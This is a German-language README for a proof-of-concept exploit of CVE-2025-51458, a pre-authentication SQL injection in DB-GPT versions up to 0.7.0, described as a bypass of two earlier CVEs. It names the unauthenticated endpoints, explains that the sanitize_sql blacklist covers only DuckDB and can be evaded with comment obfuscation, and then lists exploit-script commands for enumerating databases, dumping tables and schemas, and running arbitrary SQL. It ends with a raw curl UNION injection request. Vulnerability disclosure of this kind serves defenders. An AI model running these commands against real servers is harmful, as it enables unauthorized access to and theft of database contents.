
CVE-2025-51458 - DB-GPT Pre-Auth SQL Injection PoC
Pre-Auth SQL Injection in DB-GPT <= 0.7.0
Die Endpunkte /api/v1/editor/sql/run und /api/v1/editor/chart/run akzeptieren beliebige SQL-Abfragen ohne Authentifizierung. Die sanitize_sql-Blacklist deckt nur DuckDB ab; MySQL-, PostgreSQL- und SQLite-Verbindungen erhalten rohe Benutzereingaben ohne Filterung. Die DuckDB-Blacklist selbst kann über Kommentar-Verschleierung (SEL/**/ECT) umgangen werden.
Dies ist ein Bypass von CVE-2024-10835 und CVE-2024-10901.
# Datenbanken auflisten
python3 exp.py http://target:5670 --list-dbs
# SQL ausführen
python3 exp.py http://target:5670 <db_name> --sql "SELECT VERSION()"
# Tabellen ausgeben
python3 exp.py http://target:5670 <db_name> --dump-tables
# Schema ausgeben
python3 exp.py http://target:5670 <db_name> --dump-db
# DuckDB-Bypass
python3 exp.py http://target:5670 <db_name> --duckdb-bypass --sql "SELECT CURRENT_SETTING('access_mode')"
# Interaktiver Modus
python3 exp.py http://target:5670 <db_name>
curl -X POST "http://target:5670/api/v1/editor/sql/run" \
-H "Content-Type: application/json" \
-d '{"db_name":"test_db","sql":"SELECT 1 UNION ALL SELECT table_name FROM information_schema.tables--"}'